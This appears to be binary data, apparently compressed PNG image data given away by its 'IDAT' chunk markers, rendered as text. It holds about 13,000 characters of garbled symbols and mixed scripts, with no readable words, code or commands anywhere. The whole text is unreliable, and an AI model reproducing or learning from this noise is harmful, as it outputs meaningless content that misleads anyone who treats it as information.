.{!'WsU;k,wŰ〺z8x‹[Y/^!Ҵ︹{E湒R6TJob?Pb:*0x>κtWY6iDkKşlL}(tj!%HG_oZz2qOUxH쥺_Ή>]Ѿq,#
Qf?ߟ7wJ_Iohsc(y
ūG%ፒZ֜8 Zq2.60VIYQEl1[.Ńx;-+nChie>=+KyJr{6A֟SlnK<as95[t~HWrf[wzRtt;gOW*ld	u*IxsdfԆM?_TMkÐ|gmT*`~<'w$kw^mXeVI
N<9Bgc酪岊S˺NK=8\x~a=)ɣ)#
9kc›M^ռB'u;+\cx0{֠SaGyq<)ēS#~'ΰ'8xs{{ѕ{bJϋI/C =p?pv-{gsy3
PoѪ*٣B	/@7BAE%FoR*Vc<2!:UN)42)cOkޭ=p&b[hm}.;WC͕Ux$s*&MտdwA9xRS1
u׳GsLYi!l; >+sa.4E>o:O;U΅5j*i|<n&I
u}ԹyIJNu^Ĭdw!2з=Sed
k.+I7)6ȭ9ٻ(1.kUJCaU@b"P'#ލ`8Ї`Gю~kSFj[
oOSM`[E0<ϳc
X~֟.=MMS=f)y!RI\zޯ[CH_G?ܙs~x\ go*Iױc݊eRO޿^i#kuefzF~{m-3۩eZ8EK_"-B,9u*
c{0Sgڗlsƻb"f:1C Na^̜Xx(4^?Am՚:,U<?HܪoE0=w~rMX$R"?x"T43H?Cb%EǿA[Se7J9ɕgΌ8|┞Y9\
j{ƮV,Q4G?f|o	+/4SyfioZ_Tgx+6cO}āa~xS~@erk[ӵPW
uj<l}~~t*{ys/񶖅y-CY7uE=|8nr'G.C2^7{sRfezw0X
d{l{tH#z{}:F&~<f]柿Gѿqv'mHJȍFa+pT*RACw~#u#bt:%|mei }T:%qxK;bF&P)Lpl`:po0tk#>g8xf.4jYU6-,Z6sWZVhpM!h1x 'G9S+>_sy,cV!4՞3pcҟ;{էb-%(&u?Ofcpx*	8:-\3' l>Ec=_ѯNS<k
\_7xa7us'n
f->|ؿZzuuC[p8|1?=?cQ.|TO?Wǜ'_6ϮS75<?MwF~ރ)55w=S_BS*N{e͂G5*x<7Lt;R8 ml|
%0^&~<W131?\KQJa0z?+aX?_݉ýR[mDֆC>oxcR1|O1zU؈ȹxs>M}℃NO%ӫL~nkǹLlIRl.mI)sNGuC">Y#r1~>(~{Om5ԎTL_>+5Lf2^^q>Cuj_p_W~Ww!5k9\ǭzE⾴[{soR'Sv$?Kz0dsv96Bi9/͕l'38j延cιJ\u]'74ѧD__Vu?	H8YL&nV<;a=_smս+^<&c$Z9j	#:I+윇a>yi}Vn+§؛۞O~ޒ	؟R{z<a3
A$@o^mN//SeMŸpɕ0kGj&J*(O
U92Cr3{G!}N_Õ>Vw4\MX>_Z4So\%xᇓο#SQڎ?
&/֕ʹO0gR4Gt{KA<ãqy\YCj?BյF%y+|>GHMy-]-wی#O~onY~_ao4oSUzҶG+*wi}g%9WMͣgyt8ϲG3a)sSmono-/~O$xB~;eW_u}rLXi4c7zuoZ+!]Y'}T;_/xKO?Æ:g1e\Vj=Ix~m0tlUrzǣ|a(DmYA7/L<>W:sz&v~otTW(B–n)OE+s<Ao(IޣO5܋qf~nPw߿A⇟yORWy\m,XT>TM77xŠcj'Ux8kx
O4$܋fZEeɲz}44
"jWf{Wg	 #OZէCF{OCo
zaWvͧQV?+7]_	9M4:4P[!}f	?D%E}Zo@åu9S|zf*R^O=㍭.эCI}#.tB9,<G;"+exT=SK@f54 @-ϠY1!8u_ptZQpwP,
|1mtǡ&YRo}ɚއ?,DX}pNU_`B;vT"Cu7fb?>}	tS&F@΢!mK,{CI{YM ZYp`'^;)j*2|)?Q\up=eJJgs+ŗoLu1b:ioά<7cSnTgۿ杀,xύ-ֽ8C3!>CmX1V6 s<??7c`\LnF#1g1aT]R	BGtݗ	i0'yxܮ\Yb-k?K#xe]5Ϣ{vyZggbv`P?GqS8c:y]WRٰ+>{V~b%?rS^wj2>y@P}I><>>\xcrϏSQV>Z'jN%t3-tr?}#{_7kAi@^SiV|ozP\"z8-Qc[æGbĜp8MQ$:JwN1Q].!99)
B3=j}I~3SZJG:>=Lc
žM~8Ӿa{FJN٭ŏzm=3u#s!8i>\]TXӧ̗k欃lZ-@\y<?cOU4^m{i+}Ia0+@.j)Ot"y[Mq?*AW¤+ﱑjGK}xb"?#.-K}`'YlέKеQi=Z0^ ->*ҋ ku*2	
5\toVD̿چK_i5F`0Blga>dzyBBŧ	p>;B8m*-$W@1&QUklx1F)ҙ._3jF4'+~@A~(g
F:}Mo9Z{8kMv7Yu8y.3`dxxa~膞8Ј=?#ܚTo_Upy|~#e~?ß\'`>u%:ZavA]aoJO=?c:<%I<{p07-^:jrΣ`^W<?gb25XCy.y6;_]%Y?۟9iuu8edW3}yS7ß^
Q@p
PCYO>F^oxn˷bO}T7|uhܸ#ރW>:0oO}gkV bmpOŜv4	ֿ!X+[zk,gfxz+jC}NW~[1T毇k~N?Uaqu>`>* <!tdX`j8yw-92yg_
Vie_g43Z}S
_
̾s.fH?ɜ{WĤ6H';f1޿YFlu<x3KYY\_fDΙ3<SK զٟ㼳@8>~/84`|'y{>1ԇ~_t|g.[㮇4gz+
}
VsL!SstN_ozBxh_|1w/<_HXs5>5^kLLUhlgvM{`sp?^=~=??dtm}4/<Lʱe%,hS9)JqDuO1)\Af 8sz{_|SKt_[7O]wޞ&Ktm}0MO|H]N&5zuu0߳ʾ
3>s3g<dqw+88맠{隇&bД
ExJݰfIW/2۽A	>7XӇeLOAbC~2,ffn4Ky^2iTc<ϣ:Zo[{X,oKwɜmI{l?B-AS?UO#<|^"G;ک{+`wNny~IɑDcI@?zLtwZLQ/x3bXMiͳ
#[?_UhYۜ)bsreuґcνl!]sv@|yr<oTyZ \W.zcf汭,_m	^寝/p_kqƚ,~f\-vuAO3շɩYhJai6`GAm=yHyF
hL!T]yĹ{8{v
PF{L$'>1bB?Ϩ´YQ<f~)?
CJelzO3E]1\{*l({m[ԵnĮu`LCAg?5`zpg|7&	uG}t;WաKqCSNDgAoѼşVVwS%C?Rc<3G*{~0&}(=K?}]wF[Ӥx'TWfUwN`bq3m@nJ}NGϿ^gFN_#ZoSZF&p]_T{Rl<[knKGj\L?<NJ}"ZE5
TOۼo`O_%<%g=ϾgE[y
_OkZaĎP:,ZAr~aZv췗7*_Zɬ)[=㶧:-
hml]+O5vXHLƉsiRk̼LH5Fs*ih8!`~a̬׭ֺG<r6QT\}`/>)sY)σϓ\kߞOAn660~<
PV{D٘؆W;)X\WH3RD
omvf[㩯xG|׿ӧo#`_iT'sr3$fzgZM{$B$?$H(8ve|e[0Ԉ
~i4JLr3,}vm15R6:ۧP]-8{qSp`5OGn%ABWM8 ~FJ@Nk	:]ѭH%:~~"ɨ3܇,`Att9I.>>#-04}v|=
i􎉋8֟8^߆)gBφRag*}7vL\pMol&zcp^Կ}يk>*kEnU]`FyOwtj\<Ǧܳu/{#SCr[\Xg|Z\غ[CP_v,ʁ#@~_dcP9d`x__dJ"S)5O<hC9կO}3s!C6(
Rq"9ĨO'~<+od5wKH+x50s_?|)l>3	wN8 ?G<PsZ1]}~E+liƓ)XطTgbEu5@c&\F *vw%Ӱ|m҉şR]lN_/Хi$/\~0[`Zڣg{[뙮%MP>ao>ŧwg<p"U^7֚Ĉ~wůFZt\lD0i8?DFN5K;?qpҏ<m]{aPM3Un6؏;;D{qs.~c[?Ou=9ΧC@}i)}rן>tQLNauS
v~cx\J(Luk#g.1tH)1fݗ^(QjA
5?/]djL"aѩ.r?z/6G>RBloץv
{1Vrdqf6|)vIm5U۩W0ߊCF#>S5/?uX,O3헞{|&
ά!g>upDV(O0{Gm8˷g|ՇO߽N1>ѝtvABS
p?"sP{Oh#“O(E깆Y]Z:m{:5O?] -<4pw+81¶"P2A3,
qC=pZΛQ1B[[~R(=|Շ;G
=1PxCq=Q+>Cii\xY.a}m^	Gl~]d񢫺|tD6?OQZ$~7uiƊq>:)ԟ$,<[[63L@vyr>Ԙֿb|+y79_'CtyO_>{BW/G55>;"gv8yI&bgѽzЃcju|;2w	{8_ZYkgmN]*wUsh?t۩	,b f<$]{ԯ8=GWg,^MTZL{Z+)e}\(Rzf+͙O6`ߩ)4Ou33:f Vȭ6NSuγ,LCa+˼?#;Zk`?I룱&H<~"+5]kAvi^Qe{wWo:
HΞ
ҡ>~VC5G\ꏣOVӚ27~۞3OcsI·=#YL<R
 :vO|5
53"w(>D|?3/jM
#O\*̹Zf;gL\y&}=g+|5h.N!_ex%SРzs(bf2LLg7+r5<QFercu<X4'l6*Nus╎jEEdJ<obSʬdLs>|19,=MDŽ^(*'>3oB*U=a<F"{ʉ@9~fN
3Y#fpzԡA/pWzג+qp- [mo>xUΒ5GXKirݼ9g\w~ONgf9DDgo%]x/]cwok@IDAT1KkA/ߒsAõiN('[hV-1h7H~Hh+x:;n'ǁ_"ba12/uvNJ'D[s@	S3-}@8]9j7`xO6|!\Ȱ@Bƀbu\
w?ŸAcZl~:&Џ]\ZsBF=/trS']:vF3iꔋxG2/ʧ(zp#*cMOnBW1Wq:]ܵϏ_?|;i3W/ڙx\/aMϗ[399)uy?Ϟsٻ~d
w⾈CG$KS*9>9yX,
ŏcȜKWqcN}6mh`壸0Sjp}#}\E'rhBp{W1`_v6ACA|%lMC5:LyFwW@3,Ǿ1y~3Zhf26}3xi}?w^O
~8`*ߧp~q֥W|'P-}>C5Du?xr4D0V>%7[ GIG|+꦳/gwr~\:?8KҚ\Ǟ>^ws?UcżilWM|B1Ո#OP\~߳um*f{oH9
_>p`著>G*?Ǒ"qhٟíoq ]'"[ڟJ3@Ԗu߾b3	—֣Aj.0U_]?Yqs-LIp
Z~~oz17P\Y928l@ᶰ{E>m=ilt`Y9uYLDD"ho$I
9Gڱ{8	Aw>}rOL(PDd0桺UA
ݑϾ't&3kD	yq:d8Y뼨}}]9rYR~V.'i~X<3Z_1jnY`P77J[P)ߩE]v&Tgo>H8ԇ8rt\eg(ӓP5ML'w_N&IC~7l#zX5 Iw]X-u7sjVX7q?5GS+ัM]ƴPfH04%&;4`Eʏxuv| Vt68Ո"E_Vs1`C941'4*r%6/`=q>^ꆔ
w}i,_B4O_p֏_VI+X/|}GP
h#W[|zL}	P]`{,
y$JgfW]D=CE§.x[ўAwO~@w>zE%{+؟[O{~99#k;
3_b>IOwg`>A5fzQި==P"TLӄ?ڭ9x#`
k~s.zSߊX(Ʈt6ݿ퟿|O.l]||0/1g%~G{Q0
#¿˜v5H0{hᛒ{;LS*nxҧ^RS`(ڠ';#cH6Կy6:

DZ~)o*x~$hD;4xG#Xq=r	QU?ܜ%uQqbZ$S(0J5$[3E.?ǬEL戔 qѭn™ѠWi޾^	C_乮	G` xTzӿvc
W[ nEXtS@q٢'@WRB@lEH
Z:	?,'uwW/p>,}0rB L`N(]~Áia ]<|^[u_ʔݸn(#7D}'u/R/\aBc7s%Ag+)Wu <5C$NLm+pk
DgFM9^._3{CtqP'Y(3@z-ةN\ZJ]r6p3"xf{Fi-1;~s
UjQWE0`K'^WD`l?}nb!ѫaq6<4ul!%2&=|+(^)
5^uCjMw_Sjkg!tto%,΍KMkd@en
cD㳃<U7ѧx!
No\XhV"SL^m2wgkpzNKYT3<۬{VGYs:Y/g&g
^ϡퟪO)H\_+rcs}<̊׭`laTzލf@S?v%ow&o+*u&@sBNf#+IL4%x#A__A6<ɸ,:DM{ay~vrcԺW#C"ܼ酢ڬ
w&Gc͡c*ϯWeHtg"DԂYvh>92}+Xqw];}S}oy "71,&GRĆnzx8kNڻP7Ĩ>K`8u*O뉠Ɯ?Oh훳3Z.Y(yKb``uI2|?a`̮/j㴔%p۽$s>R{rE,>{5_귧S~dR칾fyoEqv-~tR_
Œ_UOĔc>$kڰ2jJ45!k;2|wAX&h>0~	bWOG=@aĉj#I~~x#wͽ}6:|{\Igr!s^OѬsDeCɦp
Ս<:_ڙv8ռGs$n{jEZXϒ<gɎh:||搫&5J{{	0}
Pmyy{?_Z1)$=5 ĴCZs.v0R\7U5Ԝ@%U./
ɩ5$ӷʠJߙ	;opH1?fpb5d$,k{}KAH͘/0u<?74L!f!^-&R=zUݰ(vE#M
)c:^Au
z;x`phRl
Æui{",j8PM#Pa8'~G?$ko'}$ٯO`.q0JNpt|ײ
Xh.Gg?幜<=|(F{#^N@60<6iYp#Tx]LyŽAbf$j̞|^sM`Թ%1B'vj뢧F	?jJr}:?`¼z
R<(:s9\GQrc>SU}&ދ1yRkf_v.t҇\x/Qǭ}SnXBsC[ٝ%ڥHV߷|u)G|/DgI;^!|$6zO?տ6~߫y(KO|bRS~gHK!G\ǩvdt`ñaWl8_;/d>4I%3X搯gnj#9}Ӿ滦~<7oCޫ6:bqJsǻ>V12*gs15FXQ,H\Y}H}rt7IM8;#Y{սB~s:Soj67wL?_wQTcAK;̂XH*)x. "1DbBYi='Ra>7n,Z̃n~j/8`EDΤ{%OH<E~$s1=@cx"kc
ph2l:+cBjv6y?qD<%~Os?g3?9>1+
?K8
f^rVޓ$YG{P'<AԾFre
L-SP5〼h7~
kh0@>{޿lu<au>4-g??Xc@<ᓍ/ٙ{o<F%fZ,[k>Wlbgy+|@7x T\h7=7^;B!Tu@OIϪuѽ=3Lb#ug}CyZ1ೡh7^HC<7gnGpWU_eS9hO$7(PLu:{d@;qù%SMڄRHF5Sݯpp<X6jW
i
֋1*{u;Qh96q7G̏׭;+ K7cFS5ش%	s[s[?׿iv_՘L}XYBQނrhN+zmCD|lf/	>8CsK|)l:%wS1x&#P̚sszt`}06F?ɸbt9Xʜ3`
L2}'MC߳L.Z]po&faK&n*dP|Ggu/SW8~@wjMvoj]}.3<wnbJ^0ps/`3hkaUT0_gnvuY\Gݛ[d/c{Uы~Ô,6\O_JF+cT\W_tascD7{$H&8"kFӿ̥5!3#x|8^S]uXԯ8<|WiUz3jLOΞÅVW(}cƼ-]sΤyaXy(ϊyfH+MF#`8>Z	S=ԽR-ZAS/9TǑ[_?s/[5t&+řìn/Hh3O"Ov.3L7*r6W/aQܓn?(bd5n]Jr|P(rHwfB1mag<?tar^2aJ*~-UWw)<FS;<4w!l
57UˤќRBq$[}7f@:_jג~q
,ŷ(ӿ|u@B)l|ShdW'kU8mfo3u$<0'ZM!nMm'xB]
·`OsLjÐ)8Zfo(k3@bW2f^Ŧѓ"6N-Q?ZԟSY}קZ56`O-ί-9̄c`qFyX{:#ȥKthrHΌYgЮk0>XPpcun$76N bo_\IJbmR_mx
aXUouKCsFl7yq6?_T#٫G)1Lfs	V[đcA')vؘl[z=TE h"?	ԣ`}gSfè\f+\'w360Un}+seTk_1^Vh	WS +ɹ7UQP5FJp_ȴ?6$sΣ-£:Hpgoǟi}R{Ist~>3DzY-8d|]@AƀIF$	b_ |qu]\yz~?ۈ)k%wc.|'>{j;Dk{r'hW<?9;jm'/*Opf
Q3€>_[\?PkBMfJ`$d|TB.W3ך,ߑ|NS`{5iFGH%G|f3Kqȕ
n]9yScɩeX>Z}b{53b~bgF__5WL8<?v'&	ͱ-<C8I	fHӯXp}tf}8ؠk5R7+<imYoO,EOMs9}eTv$6(fj4ߡK}\?Z+jVـ;AD=8ua$A7vT(5r2X^0Sַz5ơC;J_7Ϙ MWn8YeFv|KJX"pgBwwBl	>qEKgmH+Y:qƸ;VnȻ?jϕ\y^k
lKHcT_XwS/'%#dFZ5V$}so}|;QqgP^+Sޟ
;OWh3=q&UnxW\}Gop. 
)OFF7Ʒt&.a.KLB$J!3g
'	3c.elglǘBN5ОXg_6׾:uk6ftGDXvO887"n9	O|<?|sg	w+&E]3CqLw~=@]E=|yvf/o~@cRkS+#߹HH>L#wS+s/cg飯4y9X@2
H<w+Uo:vK_M^}?9&~:~i;#k
]l?aKސuw˴0XN:`h:bGO,WXڗm(W@Y_?vAr`Xϻyt~ܙ琩]9t&
AvTw6 NRvoU3kښ<siEϻIͽ><ީb4'9\|cljzGu){σOXr?-нլ^9~ȬZK㽏mJq?	vU:oyn᷷}{ۆa@W~wfm^@sىnI׭>ύ)W77kFt텱X:ݺ?^~;9ٷnc5DWs~!:6svPzGj9/wljM^ʳtquPxELfoO^VIξZao%5SH;\?-V!;څf '%*5ʬݳ,g&ϔUZO!=noB|*՗u:oOwW{=5vK\a4m
{ÿa+`V׉AeWYL?}SyѬ6gzD@[#ːy'և>,NgNYb?cAֵnW58e_Ч:c
UlGlM :F7{vBK?5h-k3Sf>=iyޕY[Y.WלRČuSvwޖ?</{B@;LS4گg;6!qtp5L:u;1GEOSq:RXOXOx;I-~"Jmgvႉ8ORV"
Oh`~2xMԵ֥bs96ǥ3˷dNoeϚVg|OJzpY>7\7!qˌAf~˟5gϛKw4Tgzq^1X|CSY!Ho~E:G1	E$əITU"/-8@}S\DcևkpgV:Z|\m`<J+v?AXX].ܫQ[(uF99Ͻ}RD8zIW3 牁Ťn	rue}>M1eƻZix?\@3]KAw}㵯~$xfzma#Ȓ܄|ֱ5ߕS32%:c!=eBڟwů5=3euٱ_<JHDM>oZ5QAxσZȾ h
>XEkאqI毂>)ޯAz]hSS®Nj}T]sL6,2Y̩l׀ζ
h
C/_oԌW<e4poyfvNKsSzxUj%<Oi+?-:ۿ5ؐ&pl>js?޺
aSLG٫Ҭ\A&1y՟T9$n4F5LJ|)CP2
*~ւ[NK;NL$kpS_6+bǺ#_sp~.s!%\3Utz&>;_\ܛyӚ("|E_Zqtܓ=ɸIfo00w=ۯ\[ $sTVv`#Z	s(^xc,|}-'mqId2¯=w}0
eO7hS/7{Z,\yŏf-vг׀gƶݎ>sfX~ʏٵ†H{#Q|Sȭ?i0yG7܄[ꃜw3$˽O򵦾Ogh/,(
>
+Pl&Es@#TL
\f(zU%	no
ځKw:q/%e^WO3C
?u[9H̅UW%OutlLcD;-LF9nsZt\
S},B?\ۛ*\U<{f+=Ȥ~A92Zcҧo
N̟&+ Pߋ]"&kv"p1N.bnGqf}zaMTv(	rWrd?wkk}OT/
]>VeLM!fOZd(jpVd8Z?>>^G5~K|tזNgi_yµ2
e2AubyPAqMztO@Wtj+~Ϯ}
~=#Tg5V"i6iK`żuA?&u|G,D?=X4|CZ?A?^G-$w{&QsSU(}k?+Ϲ:Ϝy~Wr߻mM_iؽ?߿6'
]2*%ompсv8^TossڿVrP]t9My%]TM;~o̽w>ߟ3}/fF	;N3ܗ#39Tp!X{iϏ{\)+x'CoϷġ
WrXz}1‡oCi,28?QE.ۚTvgA~K+t-ZAW!ۙ*C)
TzZzu8v_:[ʧ~gYq7%TIEҡ6\&xOY??kwtڳKOɶw+=>w7.98͆YWm;,ɨ
@r~~z>U?h}7Mt?gL=3E\Ah/@׈VoӣSp{
#*r3g
?9
>ooVΚ~UAu~]@!ssqsP35A+_ڞ~&Y8^L[p0Z{_wPx̝\	<NώO4E"m~;FO+lR
Zgw3Sia{҄,<sM\JG*SҪ:9;Db	P8ޏ`(iX ^9j׽AekL4Wt~;=xww~sI/@>.j3*4-LbCSC8cw
Dy~Di>拤#yC
}8JC'C8WW97;e!91`sXtS7M曧pSkNx>u?
p2ƙy2RO@|I_51!jYd4]o`)?<bGا+W+ZX+Np=Ovy(f|9_jЩo)Sq)#+{yp5C8bw,.Π6Z?QoJ̚:؀ڞgyuO$3·+[X`h򺷼ICs"˖qs
w:?@rw݇/rHoő>v\UҲܼ#nw8Q0^ӻ4>kj^g~$ nS>Ͻ:!p2ngƺ:8)6^u@4Nw8<KMrF@[	ؚGCw>wW<ynPN'gq~??N֩yX(|s~O?,u
kWף?ϟlm?ծ??
gF,M/c)^ݟ+ϫ~k{P[x?Al>|3̰jy.$FS||3
pҞ'hW_5Ixy'_9l}gMZJ}+
bHL,[>E.#)yU0Ҥw-
	mhn~ĸ/Dq&}gU8A'.388ҽ~qWĔTl}=}|q
W+8Ϭ͙.u'P`Kx>u!ʹ:fqoMSB|נ:܁ MOR<W0m[ԙj[?GoOwKtzVypdj=8)mTbcl>:hZypsVTC.q	yO
L7Eɴ67t#뚗^:+kV]$V`h׺fؐ!&Ԩ)"8b0F̢SvsP_%3#	v8k
=WW:̫^y)n]WS^ZyK>8D^]lxJ[}V?A񶏟|ɲ&ݺF+wt٥<)*z6v=텞Rsu߉;~ޖBl愑*^AwRї=T!55]㮏⼌سoޟkk༢x)^yϴK9;=G>:Mw ~R\	{
PX"'D2.H:2=;΢2|PO5eUUb雁ӵϻ?UK(Wtk2e+FTo*~ښ.Y?m}|-ɵS,_hLQegcOr\ե6ݫv:>cmӡB93ug_sjfAggOk?{b\]+ܫܚ:;To-Ӛ
ϑB._,?]`⟚gֺ
NNrgG;`ޥ
KZ
i?/*vKu4oHs߾}]}	qЦ׊~nwry±!_>݃EwHT;8W&^cRIVWOf}%UEʾ7|,rX+k9YH̹%`;ϻ⪪y3}d߅/Y?lЂ+og*E7$ԇs6ݒ)~Lſ3/S{N蚅Y[&γv}s~,>Q۷zqVqן-wRtb\=5'엠bש{?iIELw|ԏ6'{j/gOW#6EoW'Nٞ4VKyw^xJAܑflͻS"^n?$qs1<HO#1)/gP󡢑KN]UkzWX7?)&VKO}&u]SHc:9%g
$)S⬩֠(E6JSjW}{=p}v pf붌hNnQ3g!K}㊓ϗ/΁Ko}yFM%rXS4%l}ԇG=36Oھ̿|lk+m GrDF<Husi,GhjB<^N<E,jT؊6w9Zә6b<J}+SyK#=yճ12SmpQ6Kږ
4=3uڮ[Z<}~S&"LwFy,uyY%KJb]TeK{g5?b>W]	{wc][X.m߀kZɰjLT9BF^@nJ΍F\yzZl=U6Zg	wAky]LeO5B9m4>?Q"F'5Əp
>*\Y][ҚwbՁ{ȵby ϱ?>Z9܎}r6:vwz0Ljքi-dVN%qBҔ؊<O
>)L>}E^up}W.)Ԋa..b~Oh_@]'ҫ3Xs'<Ӏzn.O+r+>XzN6	hL8ϹTPNf2k~c
pʻOoȵHsi:LrZuWbTa)暎ά"ߏ,F&emg/yM}6sL89\!贺E2c­CWfXlN%xwvFXS(h_Q(P~}ߞ.V_{}"F—Vp#yr16X&z֙C_O>;6B?6;|_:n]7?L8)M'ڨiMLes^|ߔ/T:m5ay$SKˢ8I~BRĬZYKlGHKiWWŦa"4}DlKnC9#:&o*_ᬈVp'BFM9 G{m1ZUػjNG]$"}jyaI}Υ`/*}z8ͼ[W9}rx)OGԳsl?,S{@~/㪍a7M)N=+Gn}[KAz?u'W÷OW?1߽u<>˟7 ^Šj4~ׄe~1)
Z$=dsxg*{GD'ƑLZYNRI;x/$̟c?/}mjh?K
daMgGGʗUOW8榸s>Ώ)y6_sgY*m[?
#_xҮ¥E:ztl-xqs}è|z{K~fltO?kxV5pUt˻_LrL}j	gX?Z53N)=?_yzZ&xjB,̔C{d8;h|okS=#דjU?MlGQǕW8q^#D>KK3o]?c7?0{Rνs}z5Og[>sv{I8=q_69pte$!P2ڿ[?5R.^@Bǽ[C̞[{߅^/C
Rg6}~UN)(WIMtcwk晏xxoO~BZ$ͅ|eqo3d^9k $0<gą9\e,z9RGw,-#8aV-{S>|k(Hk>%њuF	\ӷFdHg6Z-b1pokF8eݫϭīS_
ś
NԿ%>gVx1_b؅'8l|
n+LNpe#v6,f,'{||NNH>‰0@IDAT𽷤nyKc{#{kqrb:5u܋i߿~QIG`氏u9(c.|ou"MKq6]/tk^xn>"D
zCp7.[?qb1h]	ǵ#k?BH}f=\ޅv.7u8cr"EFO.nĕ?a
&-Ћq˛`:Eۀg̯<ROg_h2h3zxgH(~]S[`[`|rzEUE{ohWOW65_t>Vh"ыj̭rz/LۢךT\kQaZ#KskZUQ'Ql~SΆ,AlFN>dž9>0-}&DZ%#e	~ح?8˙߇?pYt~yn'PAs
Ghȗ';)ŒZ!92r-y^r%<De:/ظWॖdřv^BNMyΜe{]x?¿n+4mgwu+^+WzU(s-PWLI_Zq򛻰l_K/բs;9bS{dp'V/ogeLbl:?oP>'|Gz{_}oKfƟtFZ=1d^9Tv4R>dM}=`EG'1я~ q>ÿSyrMl޹LL8?k$IcW?9f\˕sP5s̬7UpGPZ\g&>|^PkZU՗tv>?W>k@gcR]R@>]-k|};۪V~eEB/Sj"gKuy
>_eXT]'NjB);cɯ#qqn?A׾}VKž~J|mw2'窕@?m3wp?Ҟ9hۓyA,VL8yc7zW%0Go>Fw_)hyfBOSi)s.{Wc\Ƴ]WJGM=58M>V
hg#X}IdNp^C۩ˬMM=F;ꚙ5M`W8]	~~Tu>Jr"{޽`^9Dϥ/90Pl
XFZJ1BW	
Uz[:Bg]|%GW'0'~~|s$nX}y&VVs>k{U]9YE>g}kD߹k=M
}\C,g}(MaWVob
t`&y>%r)Ys&}.lj3C7
2!ŻEƟ3Jpj}ߥue0>Qs-f?Huú|	
$ӧR߭[E2¾NgU8~-\ҟs:	U>jtVC˨N'$/oʧ3\0)4A{ϔtn<kΤaYgq!kB0	Dž]7帹%o.Lu>T/y0~>l?j4OƧ=wP|KMq]GK^[i,s	Nd~zcrdkQ#faaOb7o㝠Dj;/.t'rW
ZV.;:
sar_D^+2d0`{ w/dMO7pb70dSpK|ZQ> (}J^Vu%xSj?Su|PK*Mh=
e;~ПCuŔM?:cl9l6Տ|Q݁g{&dA

z%Qe)8l>{ݨ̾Gx/Ei
-R5+u~S/|;PuJ|MWâ~&0~GjCjk_)^*|j=k#S'UFDFKy[<aÿWNꖋy_Ku߿}~*&Dϣr7~!S_GR	ǹSO.|Bg*n%ΦO`G}vGuseeu8~Rzj'u~SԇJ$Ba׷n(CR!pg<W4nG>'~͓K`7GM;w
E<QCz
AJnVsS~\v==LMULQkJet3s"G/K-{"kIu\l
;;DlU*/eF_\?3ȫGF%%`w"l
bY:K'7bE<]O9lSe~cn'g?gEst嘳_l{(&N]}7e<?sgrIX@kӫNz.wߒJTa
~~ΛIxTO-†o3\nD'nW#Zb=_ iPgcA{VOkOg1s/H_e1~~^R
[]n15?x.\|6e+hyF||8+Ph*Ol0!e~j?{1NMrz_'q*bod~g)k8	AԔuOzBqR_`nr4oA15t{G[>N{s>FBf̽X׋o0^!4U<Ojw[k|pGkss_Dwq_JXcĮSjt
5i_"kwv@Y("q[Zr1Ϲ:s(ev^RF?g zw)$У's=^sEdF'֟C,Gܓ7kҷ}B'u49WwB;;-A^{#`}4z
䝓CZW
rrPu<NQx&k/
Vr
g@=PP(VfBw.?M=v??zö?(7x*dfAŏz<h~撽OYlIos팰:Bҗԩ'kq6xR\w8ϥg&O
,xvp
Tjv_֯Gfċ^rw%ozY,4>+HIzPdrُ;oLS^S|5]1tdz2evך{~.4gŦ@V05w	|r5*O':jBj!^xg'=<m`rfU}zKjZ~J򜋯|
sRI'n4A=-<;	UӛSǍYĮ"c?{ڗ4=^
[lʪ	{
,~EcQ7#3mR	u㔹}0CI5fy2eT?.٬:j!&_W󖌐CɁg1}#U:;i1՜
_yM`wb E	لIo!]݄߽4(^dsS?V$B͇}=/΃	x9qZ"v*__	
갰n4_%$r2c}/X>N<OzWSp7܄fߥ)^s{'KuN{7	?ܮT238`zOJ),:ht8WJ!gdz	HR%I~n*9
R"1l/FO',^+'XSR54?3	=?G%y~Q$5T'rn
OTDN|b)`vV}ي1Xĩ']nZdgHǔ^g|9Uחf_\:sO:_}ȗiUzm=ƽR0PcvZzAwnΈ
uHy^0ʪ@]C[YW89(x
/?^pܔ	BW_A
#$'=

G{{.!6?
c=/Οz0o\5T}V]PLzܣCѭBqxjcG"ξyVBJ~˘Ap1c/;^Nq=g{Ƙ4WHM߱)S-	%e#5
`7t'~Bg!Yơ^"<K@x툳5~X"Q*,iK?WZ	"ED߶ڿ3'/`f#ݵd'3
DTjzfP	xCMg
}z/2@*3hL=+4 
CXgWqʙ_AԆ(V
a1Ku?ku/.q*AAr^ѸٶѩE@S{ՅVwVAr{w(škaZ|(һrT<fZϤo?Wyg&}yWgv׊9RQˡԄV_XK=;gfC^}9w`/T@&6=yPe7&8\;kW\S>eE"kGs|5`	]gOuEcMXJ\]Y'Fh{m%tXFi+'-'"?gbP@=0 A̢ڹ5
MYA^Uz7
6ZTq£:v2sT
ރULRBIv
+rS_x}+V楟byppV=tsn
=N#p^xf_M='DLuYUaEJ@3]3{={5hF&`O	~}<1t~K%[y'޵֞.ϴo3[(WofkN^Ȭ>{.[y(O.{l~xQמ՞[hꜥ/{;uP&<w8L*J[AuS'~
ak(3֧^O,`kˢ,$xr?ov\d+b5ognA^~Rל|.j~旮Spz@Bl>=ϑ(Tfr䍅c'b"j~I
"J=W5Ҫt{w+:g?uiVf+9Oe95XfNM*-^G'ГxcP~c1XjM"Q+O<~d1I6T'Obbc-~`Q%Ra1?K)1uRsS}QXZdU9ko~R=B5(/
a]Nj,YdU:q9+rS8{U][Ɔ)A맖Gox&tև;fY{vj67rinigz~n,f{3?m^֙ړ*y
]=Z<=zuZU_j2fj8ЩkS?'U	Ƭvvc[=S-ġ"ϔF?DmWԓ&I*̚CO$ӑO-߀EG|aD!o\YM95R	C%5{iNΏ~*DShnL><̔q]pGK1 8
jȓ'Q5E\^J:
A-;# u>`!/kU1~b]	ņR*]9൑vK;I>?_!1AFLg
u=X<BL|q*_WB
İY-ffPq8yf~n|XsOd}5{dr>ZuJ9QkfN7رj
<Ld:i|CX[?~7ޔLJO'zkGx
\~iW3pvӳz_`VbżN&j	<Rh>*2zbYD$qG7b
[鹚ٱz2A{Zy0j\U{$A
1Сiecك|5'ʅI8PV~Ed)֢^ZW+4UW]_"<	HO6N'|+[V~HC(GZ!JT,jUa{l9sqtx"ZgGɒQĸSh$gӼ8e )3P1>BgNÖ\GYA=z[;h㫺qy'pte/],ܬ@v6g?WóW+>Jlkg%Z314!F^KKA%,
,
׾?PR<ҘWoZ]{f$e}CZt 5R-~BIlrf.jUB,~MtLR3~n|
4}:`
92HvQΥ@/2Kv>VOJ(pV!ٿ.~SjVqŏaNc@1je`Ngp>W_&Gusc1*\דNmy*(W6<ۿH.:?(/bxLB?yW
